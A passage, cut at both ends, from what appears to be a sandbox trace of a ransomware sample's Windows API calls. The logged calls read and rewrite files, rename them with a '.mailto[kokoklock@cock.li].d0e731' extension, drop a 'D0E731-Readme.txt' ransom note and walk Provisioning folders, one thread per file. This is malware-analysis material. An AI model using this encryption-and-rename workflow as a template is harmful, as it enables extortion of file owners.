0xcc8c49a [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0x44b6aca2 [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0x2bde4ecb [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0x146ee955 [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0x3e606d35 [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0xa41461fe [0074.841] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0x3996e221 [0074.842] RtlRandom (in: Seed=0x1a63f984 | out: Seed=0x1a63f984) returned 0x19383f3e [0074.853] ReadFile (in: hFile=0x968, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x9d0, lpNumberOfBytesRead=0x1a63f978, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x1a63f978*=0x9d0, lpOverlapped=0x0) returned 1 [0074.853] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1a63f940 | out: lpNewFilePointer=0x0) returned 1 [0074.854] WriteFile (in: hFile=0x968, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x9d0, lpNumberOfBytesWritten=0x1a63f974, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x1a63f974*=0x9d0, lpOverlapped=0x0) returned 1 [0074.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479250 [0074.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478df0 [0074.854] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478df0) returned 1 [0074.854] WriteFile (in: hFile=0x968, lpBuffer=0x3479250*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1a63f970, lpOverlapped=0x0 | out: lpBuffer=0x3479250*, lpNumberOfBytesWritten=0x1a63f970*=0x20, lpOverlapped=0x0) returned 1 [0074.854] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479250) returned 1 [0074.854] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.854] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.854] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0074.854] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd790) returned 1 [0074.854] WriteFile (in: hFile=0x968, lpBuffer=0x3479048*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1a63f99c, lpOverlapped=0x0 | out: lpBuffer=0x3479048*, lpNumberOfBytesWritten=0x1a63f99c*=0x8, lpOverlapped=0x0) returned 1 [0074.854] WriteFile (in: hFile=0x968, lpBuffer=0x1a63f9b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1a63f99c, lpOverlapped=0x0 | out: lpBuffer=0x1a63f9b4*, lpNumberOfBytesWritten=0x1a63f99c*=0x4, lpOverlapped=0x0) returned 1 [0074.854] WriteFile (in: hFile=0x968, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1a63f99c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1a63f99c*=0x4, lpOverlapped=0x0) returned 1 [0074.854] WriteFile (in: hFile=0x968, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1a63f99c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1a63f99c*=0x6c, lpOverlapped=0x0) returned 1 [0074.855] WriteFile (in: hFile=0x968, lpBuffer=0x3478e68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1a63f99c, lpOverlapped=0x0 | out: lpBuffer=0x3478e68*, lpNumberOfBytesWritten=0x1a63f99c*=0x20, lpOverlapped=0x0) returned 1 [0074.855] WriteFile (in: hFile=0x968, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1a63f99c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1a63f99c*=0x4, lpOverlapped=0x0) returned 1 [0074.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e68) returned 1 [0074.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478ff8) returned 1 [0074.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479048) returned 1 [0074.855] CloseHandle (hObject=0x968) returned 1 [0074.855] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf6) returned 0x341df08 [0074.855] wcscpy (in: _Dest=0x341df08, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox" [0074.855] wcscat (in: _Dest=0x341df08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox.mailto[kokoklock@cock.li].d0e731" [0074.855] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedscenarios\\windows.uif_ondemand.xml.inbox"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedscenarios\\windows.uif_ondemand.xml.inbox.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.856] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341df08) returned 1 [0074.856] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox", dwFileAttributes=0x20) returned 0 [0074.856] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6528 [0074.856] wcscpy (in: _Dest=0x33e6528, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\" [0074.856] wcscat (in: _Dest=0x33e6528, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\D0E731-Readme.txt" [0074.856] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedscenarios\\d0e731-readme.txt")) returned 0xffffffff [0074.856] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedscenarios\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x968 [0074.858] WriteFile (in: hFile=0x968, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1a63f998, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1a63f998*=0x481, lpOverlapped=0x0) returned 1 [0074.859] CloseHandle (hObject=0x968) returned 1 [0074.859] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6528) returned 1 [0074.859] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bef18) returned 1 [0074.859] RtlExitUserThread (Status=0x1) Thread: id = 690 os_tid = 0x654 [0074.840] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\countrytable.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\countrytable.xml")) returned 0x20 [0074.862] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\countrytable.xml", dwFileAttributes=0x20) returned 0 [0074.864] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\countrytable.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\countrytable.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.865] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\countrytable.xml", dwFileAttributes=0x20) returned 0 [0074.867] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd470) returned 1 [0074.867] RtlExitUserThread (Status=0x0) Thread: id = 691 os_tid = 0xa8c [0074.868] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f1670 [0074.868] wcscpy (in: _Dest=0x33f1670, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" [0074.868] wcscat (in: _Dest=0x33f1670, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\" [0074.868] wcscat (in: _Dest=0x33f1670, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\*" [0074.868] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ef378 [0074.868] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\*", lpFindFileData=0x33ef378 | out: lpFindFileData=0x33ef378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433b28 [0074.870] wcscmp (_String1=".", _String2=".") returned 0 [0074.870] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x33ef378 | out: lpFindFileData=0x33ef378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.870] wcscmp (_String1="..", _String2=".") returned 1 [0074.870] wcscmp (_String1="..", _String2="..") returned 0 [0074.870] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x33ef378 | out: lpFindFileData=0x33ef378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ea7c91, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ea7c91, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ea7c91, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x98c, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0074.870] wcscmp (_String1="customizations.xml", _String2=".") returned 1 [0074.870] wcscmp (_String1="customizations.xml", _String2="..") returned 1 [0074.870] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x34351e8 [0074.870] wcscpy (in: _Dest=0x34351e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" [0074.870] wcscat (in: _Dest=0x34351e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\" [0074.870] wcscat (in: _Dest=0x34351e8, _Source="customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml" [0076.625] Sleep (dwMilliseconds=0x1) [0077.783] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34351e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f8 [0077.783] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x33ef378 | out: lpFindFileData=0x33ef378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0077.783] wcscmp (_String1="MasterDatastore.xml", _String2=".") returned 1 [0077.783] wcscmp (_String1="MasterDatastore.xml", _String2="..") returned 1 [0077.783] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3475bc0 [0077.783] wcscpy (in: _Dest=0x3475bc0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" [0077.783] wcscat (in: _Dest=0x3475bc0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\" [0077.783] wcscat (in: _Dest=0x3475bc0, _Source="MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml" [0077.783] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3475bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x96c [0077.784] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x33ef378 | out: lpFindFileData=0x33ef378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0077.784] wcscmp (_String1="Prov", _String2=".") returned 1 [0077.784] wcscmp (_String1="Prov", _String2="..") returned 1 [0077.784] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3427da0 [0077.784] wcscpy (in: _Dest=0x3427da0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" [0077.784] wcscat (in: _Dest=0x3427da0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\" [0077.784] wcscat (in: _Dest=0x3427da0, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov" [0077.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3427da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0 [0077.785] FindNextFileW (in: hFindFile=0x3433b28, lpFindFileData=0x33ef378 | out: lpFindFileData=0x33ef378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0077.785] FindClose (in: hFindFile=0x3433b28 | out: hFindFile=0x3433b28) returned 1 [0077.785] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ef378) returned 1 [0077.785] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f1670) returned 1 [0077.785] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce9d8) returned 1 [0077.785] RtlExitUserThread (Status=0x0) Thread: id = 692 os_tid = 0xcdc [0074.870] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f1720 [0074.871] wcscpy (in: _Dest=0x33f1720, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}" [0074.871] wcscat (in: _Dest=0x33f1720, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\" [0074.871] wcscat (in: _Dest=0x33f1720, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\*" [0074.871] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33eb9b8 [0074.871] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\*", lpFindFileData=0x33eb9b8 | out: lpFindFileData=0x33eb9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433b68 [0074.871] wcscmp (_String1=".", _String2=".") returned 0 [0074.871] FindNextFileW (in: hFindFile=0x3433b68, lpFindFileData=0x33eb9b8 | out: lpFindFileData=0x33eb9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.871] wcscmp (_String1="..", _String2=".") returned 1 [0074.872] wcscmp (_String1="..", _String2="..") returned 0 [0074.872] FindNextFileW (in: hFindFile=0x3433b68, lpFindFileData=0x33eb9b8 | out: lpFindFileData=0x33eb9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ebc18d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ebc18d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ebc18d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0074.872] wcscmp (_String1="customizations.xml", _String2=".") returned 1 [0074.872] wcscmp (_String1="customizations.xml", _String2="..") returned 1 [0074.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x34352b8 [0074.872] wcscpy (in: _Dest=0x34352b8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}" [0074.872] wcscat (in: _Dest=0x34352b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\" [0074.872] wcscat (in: _Dest=0x34352b8, _Source="customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml" [0076.624] Sleep (dwMilliseconds=0x1) [0077.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34352b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x970 [0077.779] FindNextFileW (in: hFindFile=0x3433b68, lpFindFileData=0x33eb9b8 | out: lpFindFileData=0x33eb9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ebc18d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ebc18d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ebc18d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0077.779] wcscmp (_String1="MasterDatastore.xml", _String2=".") returned 1 [0077.779] wcscmp (_String1="MasterDatastore.xml", _String2="..") returned 1 [0077.779] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3475938 [0077.779] wcscpy (in: _Dest=0x3475938, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}" [0077.779] wcscat (in: _Dest=0x3475938, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\" [0077.779] wcscat (in: _Dest=0x3475938, _Source="MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml" [0077.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3475938, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694 [0077.780] FindNextFileW (in: hFindFile=0x3433b68, lpFindFileData=0x33eb9b8 | out: lpFindFileData=0x33eb9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0077.780] wcscmp (_String1="Prov", _String2=".") returned 1 [0077.780] wcscmp (_String1="Prov", _String2="..") returned 1 [0077.780] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3427ce8 [0077.780] wcscpy (in: _Dest=0x3427ce8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}" [0077.780] wcscat (in: _Dest=0x3427ce8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\" [0077.780] wcscat (in: _Dest=0x3427ce8, _Source="Prov" | out: _Dest="C:\\Users\\All 